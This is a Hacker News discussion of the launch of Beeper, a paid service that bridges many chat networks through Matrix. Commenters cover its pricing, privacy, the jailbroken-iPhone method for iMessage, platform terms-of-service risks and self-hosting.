This feels too good to be true. It feels a 'Shut up and take my money'. I thought with effective demise of XMPP and myriad differing standards and proprietary apps & protocols, this could not happen anymore.

I'll check out your site and you may have some very happy paid users soon :)

wsinks(10000) 4 days ago [-]

Ha, when all those apps started breaking out, I knew that there would be a day when someone would finally connect them. Thank you for the story about how Matrix enabled you here, we're all standing on the backs of turtles!

jimbob45(10000) 3 days ago [-]

I thought Apple barred iMessages from being sent/retrieved outside of the specific iMessage app? How did you dodge that?

nextaccountic(10000) 3 days ago [-]

Hey, does it support Telegram stickers?

have_faith(10000) 4 days ago [-]

How "brittle" are the integrations? I guess I mean is this a supported feature of all the 3rd party services or do you have to rely on hooking into undocumented apis that could change at any time etc.

spamalot159(10000) 3 days ago [-]

How does your iMessage integration compare to AirMessage?

I've been using AirMessage for a couple months now on my new Android phone and it is about 80% reliable. Images and videos also take significantly longer to processes than if I were to use an iPhone.

I wonder if Beeper would be an upgrade over AirMessage or if it is essentially the same.

Aeolun(10000) 3 days ago [-]

I would really like one of these apps to integrate with LINE, which is really big in Japan.

Every time I see something like this I check again, but it's so far never been supported.

mrkramer(10000) 4 days ago [-]

Couldn't all of these chat apps change their TOS and forbid Matrix bridges like Discord forbid running through 3rd party client? You depend on all of those chat providers to allow you to hook everything in one app.

modeless(10000) 3 days ago [-]

I would love for this to keep expanding to more inboxes, and beyond to news feeds and other kinda inbox-shaped things. Why not aggregate Facebook news feed, Instagram, Twitter, Reddit, HN, your local newspaper, etc. It's what Google Reader woulda/coulda/shoulda become.

Please, break down the walled gardens. Free us from the whims of the product managers pumping out redesign after redesign for all the services we use.

aeoleonn(10000) 2 days ago [-]

In the FAQ, I'd suggest adding the words price & pricing. That way I can ctrl-f to either 'price', or 'pricing'.

To my weird brain, and after studying accounting, the word 'cost' is more of a business/accounting perspective of 'expense'.

Whereas the word 'price' seems to be more of a consumer perspective of 'expense'.

Yes, it's a little pedantic ;)

Cost: '(of an object or action) require the payment of (a specified sum of money) before it can be acquired or done.'

Price: 'the amount of money expected, required, or given in payment for something.'

I think it's because:

Costing = Accounting. It's the 'science' of determining the expense of producing a product or service.

Pricing = Marketing. Marketing is what consumers experience.

p00f(10000) 3 days ago [-]

What are the system requirements for self-hosting?

bluesmoon(10000) 3 days ago [-]

As an answer to your first question:

Between 2000-2003, I worked on components of the cross protocol IM backend used by many of the multi-protocol messengers back in the early to mid 2000s (eg: Adium, Trillian, Fire, Ayttm, and more). Each of the frontends had different ways to integrate. Trillian used 2 processes with TCP communication between them to get around the GPL licensed backend), Fire, Adium, Ayttm released everything under the GPL.

Eventually most clients moved to using libpurple as the backend (developed by the team behind Gaim), but the devs also started getting older, busier, and having other responsibilities outside of work. The only apps to survive were those that had a business model that allowed them to reuse open source code without having to release any of the code they developed themselves.

I personally stopped working on instant messaging in April 2004, the night before I became a Yahoo employee, though I continued blogging and doing conference talks about the experience:

- https://tech.bluesmoon.info/2004/09/fallback-messaging.html

- https://tech.bluesmoon.info/2011/05/story-of-george-ayttms-m...

- https://tech.bluesmoon.info/2010/11/stream-of-collaboration-...

GekkePrutser(10000) 3 days ago [-]

Wasn't this NovaChat before? I signed up for the beta and was thinking of planning a session with you for enrolment as you mentioned in your last email, hasn't had time yet, sorry. Saw it here at the last HN post.

If it's available now I'll gladly use it. Since the Whatsapp thing a couple weeks ago even more of my contacts have spread out to different apps and it drives me nuts.

Pricing sounds good too, I know these bridges need work to maintain. I've tried to run them myself using the docker script but it's not ideal. And supporting the maintenance is great.

gtf21(10000) 4 days ago [-]

How does this play with the security of e.g. Signal? Security and privacy is the main reason many of us will use it so I wouldn't want to compromise it.

Would love to use this on Linux, I find all the desktop apps really rubbish (and very happy to pay for it).

pabs3(10000) 2 days ago [-]

libpurple (the thing behind Adium/Pidgin) has plugins for a lot of the major messaging networks today.

alex_duf(10000) 3 days ago [-]

I'm glad to see a paid for service, by I don't think I'd take the jump for $10 a month!

>(from the website) we send each user a Jailbroken iPhone with the Beeper app installed which bridges to iMessage

Aren't you worried about Apple's reprisal ?

Also it might be worth adding a word about the privacy of the messages. Am I correct that the end to end encryption goes out the window and each Matrix connector can see the messages in plain text? I think it's not so much an issue as long as it's clear to the user, and that they pay for you to keep their private messages private.

ignoramous(10000) 4 days ago [-]

Thanks! Beeper looks amazing.

> Our desktop client is closed source, but you can use Element (or any open source Matrix client) if you prefer.

I see most bridges are licensed AGPLv3 [0]: Aren't you required to AGPLv3 the desktop client, too?

[0] For ex: https://gitlab.com/nova/whatsapp/-/blob/master/LICENSE

StavrosK(10000) 3 days ago [-]

I would love to pay you for this (though I think $10 is a bit steep), but I don't want you to be able to read my messages, which you are since you run the bridges.

crooked-v(10000) 4 days ago [-]

> Beeper is a paid service

It took me multiple times searching that page to find the '$10 monthly fee' hidden in the FAQ section. You desperately need an obvious pricing section.

recursivedoubts(10000) 4 days ago [-]

Thank you, I am very glad to pay you money to solve this problem!

Without an open source client, how can I be assured that you aren't harvesting user data through it?

filmor(10000) 3 days ago [-]

I think part of the problem is that there is no infrastructure for something like this on iOS and Android.

With webOS, there was a single messaging app that integrated SMS, Skype, Facebook and Google. The latter part was implemented using libpurple, so it was relatively easy to extend this to all messaging that libpurple supports.

I really liked that approach (marketing name was 'Synergy', unified messaging was only a small part of this), but it's quite obvious that neither Apple nor Google have any interest in adopting this unified approach for anything but their respective own messaging of the day.

raunakdag(10000) 3 days ago [-]

Do you guys plan on continuing with the jailbreakable iPhone method for iMessage bridging for the foreseeable future, or is there an alternative one can expect that is being worked on?

necrotic_comp(10000) 4 days ago [-]

This is fantastic stuff. Thank you for building it. Matrix truly is a wonderful piece of software.

arendtio(10000) 3 days ago [-]

How about XMPP support? I mean, you are talking about Matrix being the holy grail of chat and at the same time you do not support the IETF standard for instant messaging (which is also federated, supports E2E encryption, can use bridges to other networks and has several open source implementations)...

In general, my biggest issue with the Matrix community is that they chose to build something new, instead of fixing something existing. Granted, at the time when Matrix started, XMPP wasn't fit for the mobile revolution. But instead of improving the XMPP standard (which other people did afterward), the Matrix people decided to build something new from the ground up. They took a few different design decisions, but in my opinion, nothing that would justify building a competing solution and splitting the already thin developer community.

Now we have too solutions, both failing to find significant adoption. I understand that the matrix people probably built their eco system as a hobby, so who am I to criticize them. I just feel so depressed, seeing so much work being done on a very important subject, not fulfilling its potential due to missing focus.

michaeljelly(10000) 4 days ago [-]

Honestly so glad it's a paid service. I'm happy to pay for something I can trust to handle my messages, rather than using them against me to sell ads/send to shady data brokers!

Awesome work Eric, Tulir, and the whole Matrix team too!

pimeys(10000) 3 days ago [-]

Thank you for Pebble! It was my main Diabetes app for seeing the current blood glucose directly from my wrist until my Pebble 2 finally died a year ago. It was almost like magic and had a week of battery life.

The commercial matrix bridge is an excellent idea. I was able to get my homeserver running, but it is a hell of a job to get everything working. When it does work, oh boy, it again feels like magic!

spondyl(10000) 3 days ago [-]

Having actually run through spantaleev's matrix-docker-ansible-deploy twice in the past, and run the Matrix bridge stack for a few months each time, this is interesting.

Eventually I would have some bridges get out of sync (ie I responded on mobile but the bridge doesn't show my message or messages would get lost) but overall, it worked really well.

The downside of having one error in relative isolation is not the bug itself but that it makes you distrust the stack entirely and you end up double checking the source messenger 'just to make sure'

Having said that, it looks like you've done quite a bit of development on the bridges from a quick glimpse of the Gitlab repos.

How are those forks related to Tulir's bridges? Does he integrate any of your changes and vice versa or are they two unique development streams? In your comment, it sounds like Tulir is working with you?

Anyway, I'm looking forward to this very much because the multi-messenger thing has been the bane of my existence, I swear. I would gladly pay $10/month to fix this as I have online (and offline) friends all over the place.

Oh, for the unified inbox, is there any way to 'group' by a person? For example, if I primarily chat with someone on Line but then occasionally talk through iMessage. I would expect them to render as two different 'conversations' but logically, they're one person of course.

Lastly, I thought the line about shipping an iPhone was satire. You might want to put a note in there like 'No really'.

Wowfunhappy(10000) 3 days ago [-]

Question: If you already have bridges in place to send and receive messages in other clients, is there any reason I can't chat from those clients?

In other words, I want to be able to use the Messages app on my iPhone to communicate with other people using Discord, WhatsApp, Slack, etc. I would absolutely pay $10 a month for that, and I almost never subscribe to anything!

Is that something you could turn on, or is it more complicated than I'm imagining?

P.S. I'm wearing a Pebble 2 right now. Thanks for all your work on that, it's a great device.

Edit: Actually, even just some sort of XMPP gateway, so I could use any client that supports XMPP, would basically be enough for me.

littlehugie(10000) 3 days ago [-]

Will you Support Threema in the future?

liminalsunset(10000) 3 days ago [-]

On the website it looks like it says Android and iOS via Element [appears to be the renamed Riot.im matrix client]. Is there no custom iOS or Android application for Beeper that this will ship with?

mail2merge(10000) 3 days ago [-]

This is good. What competitors do you fear?

Also, why no WeChat? The stickers are the best there !

azinman2(10000) 3 days ago [-]

Where is the open source code for the iMessage bridge?

ibeckermayer(10000) 3 days ago [-]

This is amazing. I had precisely this idea ~6mo ago (but never actually built anything). Excited to see you've done all the heavy lifting for me. I also love the paid model to align interests and the ability to self host. I will definitely be giving this a test run.

hartem_(10000) 2 days ago [-]

Congrats on the launch! Subscribed and can't wait to get access :).

Do you know what is WhatsApp's stance on a Matrix bridge and using it to provide a service? They've known to have a pretty harsh stance on other services that attempted to integrate ([0], [1]) and even banned users from the platform for attempting to scrape their own data.

Would be very curious to know more details about your WhatsApp integration setup. Thanks in advance!

[0] - https://www.xda-developers.com/whatsapp-sends-cease-desist-a...

[1] - https://www.reddit.com/r/Windows10/comments/89g926/whatsapp_...

kitkat_new(10000) 3 days ago [-]

Kudos to Tulir!!!

yters(10000) 4 days ago [-]

Why isn't there a single app to aggregate and integrate all social media and messaging and email and voice chat platforms? Then it doesn't matter which ones come and go, and people don't need to worry about the plethora of ways to communicate..

selfishgene(10000) 4 days ago [-]

... because divided you are conquered.

mrleinad(10000) 4 days ago [-]

Because a long time ago, Microsoft bought Skype and created its own communication protocol. It was all downhill from there on...

codebutler(10000) 4 days ago [-]

Looks awesome, I'm looking forward to trying it out! A couple questions: 1) Is the desktop app electron or native? 2) Is the Mac iMessage bridge open-source?

Thanks!

erohead(10000) 4 days ago [-]

Desktop app is Electron. We will open source the iMessage bridge in a few weeks.

ggrelet(10000) 3 days ago [-]

I submitted my infos to Nova.chat (same form) a while ago. Do I need to do it again?

erohead(10000) 3 days ago [-]

Nope!

peteretep(10000) 3 days ago [-]

This looks awesome, only I tried to 'get started' and it looks like it's just mined a bunch of my contact details into Airtable, which seems suboptimal?

nickbeukema(10000) 3 days ago [-]

I'm experiencing the same thing, I'm unable to sign up.

gcblkjaidfj(10000) 3 days ago [-]

you are only enabling marketers and spammers.

No user will ever use this in the way you are advertising here.

acct776(10000) 3 days ago [-]

You won't.

NikolaNovak(10000) 3 days ago [-]

I may be missing something; I'm jumping at the bits to use something like this, and I'm quite the opposite of spammer - I'm just a nerd with heterogeneous family and friends who refuse to all magically switch to my recommended and obviously superior chat app :P

jmarinez(10000) 4 days ago [-]

Beeper bridges with WhatsApp. Does it mean that one can bypass the upcoming Facebook data sharing requirement by just using the Beeper client?

jcul(10000) 3 days ago [-]

No, it just uses WhatsApp web.

Even if it didn't the data is still passing through WhatsApps's servers.

philsnow(10000) 3 days ago [-]

I mentioned bitlbee elsewhere in this thread, but in case people haven't heard of it, it's a similar beast to Beeper but it bridges chat systems to an IRC client of your choice (you can use an IRC bouncer or whatever else you want to connect to bitlbee). It supports several chat systems https://wiki.bitlbee.org/ including apparently Matrix.

I mostly mention it as a historical note because bitlbee's use of IRC as the bridged protocol means that it's of limited usefulness on mobile. It was fantastic for me in the days before smartphones became a thing, but I do at least 50% of my 'chat' on my phone these days.

donio(10000) 3 days ago [-]

The use of IRC as the bridge protocol is actually the best feature for me because of the multitude of client options of available including several for Emacs.

I love the text focus and at least for the protocols I care about images and videos are presented as URLs so they are easily accessible.

Liskni_si(10000) 3 days ago [-]

I'm a long time user of IRC and bitlbee (I wrote my own IRC bridge for a popular webchat back in 2004) and the last few years I've been using weechat-android as a mobile client and it's not too bad. It's still IRC, so image/video/gif attachments are out of the question, but for someone who's been using text-mode IRC clients for the last 20 years it's a godsend.

GekkePrutser(10000) 3 days ago [-]

You can add an app like quassel / quasseldroid on top for some mod cons like unlimited scrollback.

fileyfood500(10000) 3 days ago [-]

Will this support Amazon Chime and Microsoft teams?

JeremyNT(10000) 1 day ago [-]

I'd love an answer on this one. Most services I use have decent clients already, so the rest of the bridges are interesting but not really that important to me. Teams, on the other hand, is mandated by my employer and working with it is an absolute nightmare!

gkfasdfasdf(10000) 4 days ago [-]

I thought WhatsApp banned thirdparty apps some time ago? How does this work exactly?

episteme(10000) 4 days ago [-]

Could be a wrapper around WhatsApp Web.

noxer(10000) 3 days ago [-]

10$/month is absurd

scrollaway(10000) 3 days ago [-]

Absurdly low.

vini808(10000) 4 days ago [-]

This is really cool however I'm worried about getting banned from discord using for using your service as I believe it's not authorized on discord to use third party client

acct776(10000) 3 days ago [-]

Write them, tell them to fuck off with that.

carterschonwald(10000) 3 days ago [-]

I assume some part of the iMessage faq is a joke ?

> This was a tough one to figure out! Beeper has two ways of enabling Android, Windows and Linux users to use iMessage: we send each user a Jailbroken iPhone with the Beeper app installed which bridges to iMessage, or if they have a Mac that is always connected to the internet, they can install the Beeper Mac app which acts as a bridge.

deallocator(10000) 3 days ago [-]

I see that they allow you to search through your messages across all platforms. How do they achieve that, unless they're somehow storing all my messages in their backend (which I'm not really a fan of if that'd be the case)

tulir(10000) 3 days ago [-]

Messages are stored in encrypted form on the Beeper server and the Beeper client has a local search index (the same one used by Element desktop: https://github.com/matrix-org/seshat)

zufallsheld(10000) 3 days ago [-]

I just installed matrix and bridges for telegram, slack and whatsapp using the linked ansible playbook. I used my own domain and a new cheap vps. this took me about an hour. I connected Element on my android phone to my new matrix server and now I have all chats in one app and on desktop. That is totally great and worked far better and easier than I imagined. Well done.

itsovermyhead(10000) 3 days ago [-]

Any chance you can write down a little more tactical instructions on how you did this? I'd love to try this out, but am not super technical.

MattyRad(10000) 3 days ago [-]

Thanks for leaving this comment saying that you were successful and it only took about an hour, otherwise I wouldn't have had much confidence in the scripts. It took me ~2 hours but I'm not as well versed in ansible. I'm finally off of Slack's awful electron app.

briffle(10000) 2 days ago [-]

I am interested, but not sure of system requirements. What kind of resources does it use on your cheap VPS?

2Gkashmiri(10000) 4 days ago [-]

>This was a tough one to figure out! Beeper has two ways of enabling Android, Windows and Linux users to use iMessage: we send each user a Jailbroken iPhone with the Beeper app installed which bridges to iMessage,

is this not a joke?

dyeje(10000) 4 days ago [-]

Yea, I'm really confused by that FAQ item.

olah_1(10000) 3 days ago [-]

If Matrix / Element had a better UX, it wouldn't need "bridges" as the best selling point.

I use other messengers because I find their features to be better. If I preferred Matrix, I would use that without the need for bridges.

louis-lau(10000) 3 days ago [-]

The best selling point is federation if you ask me.

I prefer matrix, but it doesn't help me if the people I want to talk to don't. Oh, look at this! A project which bridges the clients others use to a client I would like to use!

acct776(10000) 3 days ago [-]

It doesn't matter if a service will be around forever and hands out oral sex, some people refuse to switch tech stuff until they absolutely out of options.

pryelluw(10000) 4 days ago [-]

wuphf.com ?

scottcorgan(10000) 4 days ago [-]

this

vessenes(10000) 3 days ago [-]

Oooh, this is so exciting.

I went down the bridged chat rabbit hole earlier this year when I realized I had to be checking signal, telegram, WhatsApp, WeChat, iMessage and multiple emails to be on top of communication. I stopped when I realized how difficult WhatsApp and WeChat were going to be, though.

I want to pay for this, right now. Ideally double if it will help you launch. :)

GekkePrutser(10000) 3 days ago [-]

WhatsApp is not that hard anymore. Only issue is that you have to run the Android client somewhere. But you can do that on your phone.

WorldPeas(10000) 4 days ago [-]

For those that don't use a macintosh(or don't care about imessage), ferdi is a great free alternative

louis-lau(10000) 3 days ago [-]

Ferdi is a web browser that's oriented on messaging. This is something completely different.

recursive(10000) 4 days ago [-]

There's a list of logos for supported chat networks. But it doesn't give the names. I recognize about half of them, but it would be nice if they were written in words somewhere.

bhandziuk(10000) 3 days ago [-]

Scroll down to the FAQ

    Whatsapp
    Facebook Messenger
    iMessage
    Android Messages (SMS)
    Telegram
    Twitter
    Slack
    Hangouts
    Instagram
    Skype
    IRC
    Matrix
    Discord
    Signal
    Beeper network
uoflcards22(10000) 4 days ago [-]

How do I get started? I put in my email like 10 minutes ago and have received nothing...

mouldysammich(10000) 4 days ago [-]

I was also a little confused, you'll get an email in a bit explaining that there is a queue for signing up and they'll inform you when you're in and that kinda thing.

soheil(10000) 3 days ago [-]

If there is an iMessage bridge that would be considered a zero-day exploit. There is no official or un-office API for iMessage outside the Apple ecosystem and this is part of security measures by Apple to ensure privacy.

acct776(10000) 3 days ago [-]

Maybe it works differently than that

andoriyu(10000) 3 days ago [-]

Well, no. iMessage protocol was reverse engineered, but they patched it and make really hard to do crypto part of it. Hard enough that people stopped trying - after all you still required an existing registration from Apple's device and there was no guarantee it stops working again.

What they do is run ichat2json every time there is a new message in a folder and AppleScript to send outgoing messages. It requires a macOS with already authenticated Messages.app.

It's not using any unofficial APIs, it's just a wrapper around iMessage client on a mac.

morpheuskafka(10000) 3 days ago [-]

Not sure how it would be a zero-day exploit.. you're allowed to run whatever code you want on your Mac, and if you bypass the sandbox by giving Full Disk Access or whatever other permissions this uses, it follows that it will be able to read your iMessage database.

As for the iPhone bridge, that does use a jailbreak which is, of course, an exploit--one that Apple has patched and the patch deliberately not applied to the device in question.

dilly_li(10000) 3 days ago [-]

'Beeper has two ways of enabling Android, Windows and Linux users to use iMessage: we send each user a Jailbroken iPhone with the Beeper app installed which bridges to iMessage, or if they have a Mac that is always connected to the internet, they can install the Beeper Mac app which acts as a bridge.'

This answers my question! One iPhone for each Beeper user, no wonder the $10 monthly fee!

GekkePrutser(10000) 3 days ago [-]

Not necessarily. In Europe we don't really use iMessage much. I would have no need for it personally.

Andrew_nenakhov(10000) 3 days ago [-]

Multiprotocol clients and transports are a dead end.

Most walled garden messaging service developers are openly hostile to third-party clients - this goes back to early 00s and ICQ war against QIP and other much better clients. Modern technology and app distribution model has made it far easier for service owners to enforce their rules of using their service.

kitkat_new(10000) 3 days ago [-]

This is a single protocol client, which can be replaced by any Matrix client.

This is why it is so good

2Gkashmiri(10000) 4 days ago [-]

can you give us a ballpark figues of how much of a vps is needed to get started? you have given an ansible script and all but minimum specs would be nice along with users it can handle

erohead(10000) 4 days ago [-]

2-3gb RAM + 50GB disk. Small CPU is ok.

tylermenezes(10000) 4 days ago [-]

I've been using this for several months now, and it's one of the biggest digital quality-of-life improvements I made in 2020. Getting modern chat networks to interact is never something I thought I would see. Congrats to Eric and co!

acct776(10000) 3 days ago [-]

What's the worst glitch you've had, if you don't mind me asking?

smusamashah(10000) 1 day ago [-]

How does it compare with pidgin?

https://www.pidgin.im/plugins/

kitkat_new(10000) 1 day ago [-]

Beeper uses Matrix infrastructure

kevincox(10000) 4 days ago [-]

I love the idea of hosted bridges (in fact I was thinking about starting my own service like this) and I'm glad that the bridges themselves are open source. However I would much rather that the client was open source as well (It would make it way easier to get all my friends to Matrix with a well polished client).

Basically $10 a month for access to bridges that funds bridge development is great however I don't want some of that to fund the development of a closed-source client. If the client was opened, or had work upstreamed to an open source client I would be all on board.

IggleSniggle(10000) 3 days ago [-]

I get what you're saying. However, I think this is nice a compromise. The closed-source client is pushes out continued development of the bridges for a little longer than it otherwise would. The client only matters insomuch as it has good bridges, so the bridges must naturally come first.

In the longer term, if a project like this succeeds, then all messaging clients become defined by their feature set rather than their vendor lock-in. If Facebook Messenger wants to compete with Beeper, then it better be able to connect to Hangouts, etc.

I welcome a player that pushes chat clients as a whole towards interoperability and commoditization, and am happy to (as a side effect) support a proprietary client that helps drive additional platform support over time (eg, I don't see Airbnb on the list of Beeper messaging bridges yet, etc).

da_big_ghey(10000) 4 days ago [-]

I use weechat for this and it works fine. Slack, Discord, Signal, etc. all bridge fine (though Signal is a bit messy). And of course, IRC. The one thing I haven't figured out how to connect is MS Teams, and it doesn't look like this service offers it anyway; is there a reason to use it?

Liskni_si(10000) 3 days ago [-]

I run a similar setup although with a different set of services: IRC, Slack through wee-slack, Hangouts through bitlbee with purple-hangouts, Facebook Messenger through bitlbee with bitlbee-facebook. Slack and Hangouts mostly work, but FB Messenger is a pain, attachments rarely work and it disconnects fairly often. So if the Beeper bridges end up being more reliable (possibly due to people being paid to work on them), I might just give it a try.

That is, once weechat-matrix works together with wee-slack... (https://github.com/poljar/weechat-matrix/issues/248) :-)

acct776(10000) 3 days ago [-]

Not for you, apparently.

yingbo(10000) 4 days ago [-]

Are there already many similar apps? I used two: Rambox https://rambox.pro/ and Franz https://meetfranz.com

50(10000) 3 days ago [-]

https://texts.com - it's not released yet but you can sign up for early access.

folkrav(10000) 4 days ago [-]

Those are glorified browsers wrapping the web based clients in dedicated 'tabs'. AFAIK it looks like Beeper hosts a matrix<->service bridge between those platforms, and their client actually unifies messages in a single inbox. Seems to be different.

smt88(10000) 4 days ago [-]

No, those are totally different. They're just Electron shells around web versions of chat apps. They're also extremely resource-intensive and buggy.

Someone forked Rambox and kept it FOSS, and it's called Hamsket.

whycombagator(10000) 4 days ago [-]

I thought I'd seen this before[0]

Also:

> I make no claims to this being production level reliability. It's very much beta software. Very beta

@erohead does this quote from you 6 months ago still hold true?[1]

This is a software I'd definitely use & pay for if it was polished/worked.

I quickly looked at the GitLab source and couldn't find the code for the iMessage bridge. How does that integration work?

[0] https://news.ycombinator.com/item?id=23693371

[1] https://news.ycombinator.com/item?id=23694933

erohead(10000) 4 days ago [-]

It's 6 months better now! We haven't open sourced the iMessage bridge yet, will do that in a few weeks.

meibo(10000) 4 days ago [-]

> we send each user a Jailbroken iPhone with the Beeper app installed which bridges to iMessage

Huh, I wonder how this is sustainable. I assume there is a greater cost than 10 bucks a month for this option? I wouldn't want to be the one managing the logistical effort of that!

renewiltord(10000) 3 days ago [-]

This is great!

gpmcadam(10000) 3 days ago [-]

Expect Apple to come down on this like a tonne of bricks and render the whole thing impossible very quickly.

bredren(10000) 4 days ago [-]

It says you can run a Mac app but presumably this is to bridge in users outside the Apple ecosystem.

So probably it is the cheapest iPhone that has a year or two worth of iOS support left and just sits plugged in.

While a novel hack, I would never want my iMessage conversations being bridged to a service outside the Apple ecosystem.

While I have no doubt this service will do their best with security, it relies on leaking data from Apple.

Imagine if someone built an insecure bridge for FaceTime Audio, and the caller did not know the recipient was using a bridge service.

Any reliance on Apple's massive investment in the privacy and security of a FaceTime transmission goes out the window and into the hands of an unknown 3rd party.

It also tricks the sender into thinking that their secure iMessage conversations are what they look like.

I know when i see a green chat bubble, that low level people at Verizon can access the content of the messages.

I see this as a big problem, where the goal of letting more people in for UX reasons undermines expectations of privacy from those uninvolved in the use of the product.

People are mention Discord being unhappy with this, but I imagine Apple would see this as an abomination.

lxe(10000) 3 days ago [-]

I was wondering how this is solved... and here's the answer! Wish there was a free/foss DIY solution to this.

el_dev_hell(10000) 3 days ago [-]

Serious question: Is the below a joke or legitimate?

How in the world did you get iMessage to work on Android and Windows? This was a tough one to figure out! Beeper has two ways of enabling Android, Windows and Linux users to use iMessage: we send each user a Jailbroken iPhone with the Beeper app installed which bridges to iMessage, or if they have a Mac that is always connected to the internet, they can install the Beeper Mac app which acts as a bridge.

monkeypilot(10000) 3 days ago [-]

It's so sincere that it doesn't sound like a joke. Maybe the fact that they are a paid subscription they can do this? What's the pricing of Beepr?

khimaros(10000) 4 days ago [-]

this is a really cool project, and a great curation effort. there are ansible scripts which they recommend for self-hosting: https://github.com/spantaleev/matrix-docker-ansible-deploy -- most of the bridges (mirrored to their GitLab org) appear to be unmodified from upstream.

erohead(10000) 4 days ago [-]

The upstream bridges are written and open sourced by our lead developer Tulir https://github.com/tulir/

johnisgood(10000) 3 days ago [-]

How does encryption work across the bridges? Is this written down anywhere? Signal, Telegram's Secret Chat, etc.

acct776(10000) 2 days ago [-]

tl;dr Worse, in most if not all cases.

DeerSpotter(10000) 3 days ago [-]

ALL YOUR CHATS BELONG TO US

IggleSniggle(10000) 3 days ago [-]

...except this is open-source and self-host-able. I mean I am always here for 'all your base' memes, but it doesn't apply here.

saltybytes(10000) 4 days ago [-]

Isn't Beeper similar to Franz [0]?

[0] https://meetfranz.com/

louis-lau(10000) 3 days ago [-]

No, not at all.

AnonHP(10000) 4 days ago [-]

This looks nice, but $10 a month is a tough sell for me (I use only two of the supported platforms everyday, with about 20 messages total in a day, on average).

Also, why does the site ask for an email address to get started? An explanation of why along with the on boarding process would be useful.

That aside, the Meet Our Team section on the homepage shows "This is some text inside of a div block." on the right. Is this an oversight or is it some inside joke?

anoa_(10000) 4 days ago [-]

Looks like that's a bug that occurs when javascript is disabled. It should have another two entries.

I assume they're now aware of it :)

chickenpotpie(10000) 3 days ago [-]

Charging per network makes sense to me. I would only use this for iMessage and signal, so it's only worth a buck or two a month for me. If I was using everything offered I would gladly pay $10 a month.

smt88(10000) 4 days ago [-]

I would pay $100/mo for it.

I think it's just not a pain point for everyone. In a lot of countries, 'everyone' uses a single platform and it's not a big deal.

As a US user of 5 apps, some for business, it's just a mess and a constant source of friction.

bichiliad(10000) 4 days ago [-]

I've been really excited for something like this, and seeing that it's built on top of Matrix is also exciting. One of my biggest gripes as of late is how hard it is to, for example, limit your time on Instagram without cutting yourself off from Instagram's chat. I can tell my friends to send me texts as much as I want, but there's always a message or two in Instagram that I don't see until a day or two later than I want to.

michaeljelly(10000) 4 days ago [-]

I have this exact problem too! Having tried Beeper, and now using it every day, I can confirm it achieves this perfectly.

I now just check Beeper in batches (there's a great shortcut for cycling through unreads), rather than having endless apps to check.

NikolaNovak(10000) 3 days ago [-]

Is this actually active now?

The FAQ implies it's an available product. Going through the form indicates I may be invited to use at some unspecified point in the future... :-/

shepherdjerred(10000) 3 days ago [-]

I'm also confused. I filled out the form and was then redirected with no other info?

soheil(10000) 3 days ago [-]

Interesting that 'eroheard' comment seems to be pinned to the top of this thread. Is this a new feature by HN and only available to YC company founders?

flyGuyOnTheSly(10000) 3 days ago [-]

I doubt it.

Probably just a lot of upvotes in a short period of time.

It's a pretty cool idea.

3np(10000) 3 days ago [-]

Great to see the progress! I really hope you can grow sustainable and profitable while facilitating Matrix. Kudos!

Tulir's been doing fantastic work, but it does seem that to ~80%, all the significant bridge maintenance/development for public IM networks is a one-man show... Makes me a bit concerned that such a key piece of the Matrix ecosystem (and IMO a crucial component for eventual success) is underfunded, neglected and relying on a single person. Keeping things working with potentially hostile changes in undocumented or unsupported APIs is not trivial.

Also, how does your roadmap for new protocols look (if you have any)?

I'd love to promote this, but without LINE it's pretty much uninteresting/useless here in Japan, Korea, and Taiwan. I heard it's also one of the top IM apps in other countries, like Thailand.

Arathorn(10000) 3 days ago [-]

fwiw, separate to Tulir being funded by Beeper for all of his bridges, Element also funds a bunch of bridging work for the Matrix.org Foundation: IRC, Slack, Gitter, XMPP. Meanwhile there are other ones from the community (e.g. Discord). So, it's not entirely true to say it's a one-man show, although Tulir's prolificness is impressive :)

usbfingers(10000) 4 days ago [-]

While I think the core focus of Beeper as a cross platform messenger is great, the bigger positive here in my opinion is a matrix client with good UX and design.

The user experience portrayed here is much more in line with what is required to get people less technical on one decentralized/federated network, such as matrix.

I'm currently working towards the same effort, in a very different stage of development, in that regard with https://github.com/syphon-org/syphon.

Props to Eric, Tulir, and the team for making such a good looking client!

adkadskhj(10000) 3 days ago [-]

Wait, did they do anything for the Matrix client? Their 'Get Beeper' section makes it seem like they just use the normal Matrix client.

> Available on MacOS, Windows, Linux iOS and Android via Element

Which i assume is https://element.io/ ?

KitDuncan(10000) 3 days ago [-]

Wow Syphon looks sweet. Gonna try it (knowing that it's not a finished product)

erohead(10000) 4 days ago [-]

I've been following Syphon, it looks great!

npmisdown(10000) 3 days ago [-]

Could someone shed a light on economics of working on such kind of a project?

Aren't developing third-party client for the entity which you do not control and somehow compete with is typically a futile experience?

Doesn't it go against most of ToS-es directly (e.g. Discord/WhatsApp happily ban accounts using third-party clients) or indirectly (I guess no proprietary chat platform will be exactly happy having third-party clients that compete with their official and controlled app).

I mean how people justify building a business on it given that it essentially means that they have to play on the other's people playground by the rules which can be changed at any time. Like tomorrow Slack would decide to disallow any third-party apps and you're done.

anticensor(10000) 3 days ago [-]

Discord allows relay bridges (using bot accounts), but not puppeting.

nip180(10000) 1 day ago [-]

It's very risky to build a service that relays directly on the API layer of other commercial services. If any of there chat apps change their APIs to stop Beeper traffic then they will lose users. Some services will cause a larger loss than others.

I think the economics are simple. The company is two devs and they charge $10/month. If the costs are $4/month/user then they need 83k users to clear a quarter million a year in profit per dev. This isn't a unicorn, but it has the potential to bring in good money while it lasts.

jakelazaroff(10000) 4 days ago [-]

Doesn't using this with Discord run a risk of your account getting banned for using a third-party client? That's why the Cordless developer shut down the project: https://github.com/Bios-Marcel/cordless

kitkat_new(10000) 3 days ago [-]

t2bot.io hosts a Discord bridge and to my knowledge it is officially allowed by Discord (else they could not have more than 100+ bridge users).

So I imagine there might be the possibility of it being allowed for Beeper as well.

stryan(10000) 3 days ago [-]

They're using HalfShot's appservice bridge I think, which works entirely through the standard Discord API with bot users. IIRC Discord is very much aware of the project.

Discord's generally fine with anything using it's API/gateways as long as it's NOT logging in as a 'real' user.

saagarjha(10000) 3 days ago [-]

I have yet to see any verbiage in the Discord ToS that mentions this...do they really not read their own legalese?

acct776(10000) 3 days ago [-]

After a disclaimer, that sounds like a problem between the user and the Discord people.

doublerabbit(10000) 3 days ago [-]

If I can login to your service with the API given, there should be no reason for a ban. And this is what annoys me with today's communication protocols; your forced to enjoy their service only with their provided application.

It never used to be like this. MSN messenger,AIM even YIM; they all had FOSS applications.

chenster(10000) 2 days ago [-]

Not 'All Your Chats'. Franz is doing this already. It has a free version with limited features. The down side is it is a CPU hog. It doesn't support WeChat, neither is your Beeper. That really sucks. It is probably due to WeChat's closed API that they never really wanted any 3rd party to interface with it. Not sure if anything you can do about it.

